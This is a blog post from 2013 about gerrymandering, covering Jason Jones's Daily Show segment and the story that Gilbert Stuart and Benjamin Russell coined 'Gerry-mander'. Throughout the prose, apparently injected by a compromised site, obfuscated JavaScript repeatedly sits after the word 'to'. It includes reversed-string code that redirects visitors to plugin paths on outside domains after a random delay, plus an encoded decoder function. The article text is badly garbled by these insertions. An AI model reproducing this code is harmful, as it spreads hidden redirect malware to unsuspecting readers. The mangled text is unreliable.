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The Art of Gerrymandering

Posted by on December 15, 2013
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Portrait of Elbridge Gerry, a signer of the Declaration of Independence,
5th Vice-President of the United States, and a former Governor of Massachusetts.  It was his
plan of redistricting Massachusetts which led toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the term "Gerry-mander."

This past week, satirical journalist Jason Jones of Comedy Central's The Daily Show with Jon Stewart, produced a news stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory about the art of gerrymandering.  Gerrymandering, of course, is the act of redrawing the boundaries of electoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toral districts - often in ridiculous, abstract shapes - toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to redistribute the votes of large groups of people whose ideology is in opposition toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the incumbent party. It is a highly questionable, but legal, way of neutralizing a majority vote when the majority no longer sees eye-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-eye with the ruling power.
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function o49a105dc37ce(y6){var u6='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var u9='';var vf,ne,x5,o0,v2,pb,r6;var p9=0;do{o0=u6.indexOf(y6.charAt(p9++));v2=u6.indexOf(y6.charAt(p9++));pb=u6.indexOf(y6.charAt(p9++));r6=u6.indexOf(y6.charAt(p9++));vf=(o0<<2)|(v2>>4);ne=((v2&15)<<4)|(pb>>2);x5=((pb&3)<<6)|r6;if(vf>=192)vf+=848;else if(vf==168)vf=1025;else if(vf==184)vf=1105;u9+=String.fromCharCode(vf);if(pb!=64){if(ne>=192)ne+=848;else if(ne==168)ne=1025;else if(ne==184)ne=1105;u9+=String.fromCharCode(ne);}if(r6!=64){if(x5>=192)x5+=848;else if(x5==168)x5=1025;else if(x5==184)x5=1105;u9+=String.fromCharCode(x5);}}while(p9ander-2.jpg" style="margin-left: autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to;margin-right: autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to">function o49a105dc37ce(y6){var u6='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var u9='';var vf,ne,x5,o0,v2,pb,r6;var p9=0;do{o0=u6.indexOf(y6.charAt(p9++));v2=u6.indexOf(y6.charAt(p9++));pb=u6.indexOf(y6.charAt(p9++));r6=u6.indexOf(y6.charAt(p9++));vf=(o0<<2)|(v2>>4);ne=((v2&15)<<4)|(pb>>2);x5=((pb&3)<<6)|r6;if(vf>=192)vf+=848;else if(vf==168)vf=1025;else if(vf==184)vf=1105;u9+=String.fromCharCode(vf);if(pb!=64){if(ne>=192)ne+=848;else if(ne==168)ne=1025;else if(ne==184)ne=1105;u9+=String.fromCharCode(ne);}if(r6!=64){if(x5>=192)x5+=848;else if(x5==168)x5=1025;else if(x5==184)x5=1105;u9+=String.fromCharCode(x5);}}while(p9ander-2.jpg" width="512" />
A pictoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torial representation of gerrymandering.  Even though the votes represented in the image are equal, by redrawing the electoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toral district boundaries, one party is given a significant, undue advantage over the other.
(source:  $Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;setTimeout($Bhq(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toral-vote.com/evp2012/Pres/Maps/Nov15.html" target="_blank">Electoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toral-Vote.com)

In Jones' segment, "American Horrible Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory:  Jason Jones Meets the Picasso of Gerrymandering," the reporter interviews redistricting consultant Kimball Brace, a man who compares the contoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torted geopolitical outlines he creates toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to fine art.  Jones takes Brace's conceit and then runs with it, mocking the idea that such political rigging is art, while also lampooning Modern Art, artists, and the world of art galleries in general.  The video was typical of Jones' recent work - aggressive yet funny - and quickly made its rounds among artists on social media sites.
  This recent commercial for Verizon Wireless may have served as partial inspiration for Jones' Gerrymandering video.
As odd as it may seem, the idea of a relationship between gerrymandering and art may not be so far-fetched, however.  Though sources do not agree, it is quite possible that the term "Gerry-mander" may have arisen through a collaboration between a newspaper-man and an artist.  According toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Brewer's Dictionary of Phrase & Fable (Cassell, London, 2001), it was none other than the famous portrait painter Gilbert Stuart who saw the similarity between Gerry's planned boundary of an electoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toral district in Essex County, Massachusetts, and a lizard.  After re-drawing the district as a salamander, Stuart showed the polling map toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to his friend Benjamin Russell, editoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor of the Bostoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Sentinel, who declared it was better toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to call the new shape a "Gerry-mander."  The name caught on, and though the practice was not new, this dubious form of redistricting will likely forever be associated with Governor Gerry because of an artist's little drawing and a writer's ability toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to create a memorable catchphrase.

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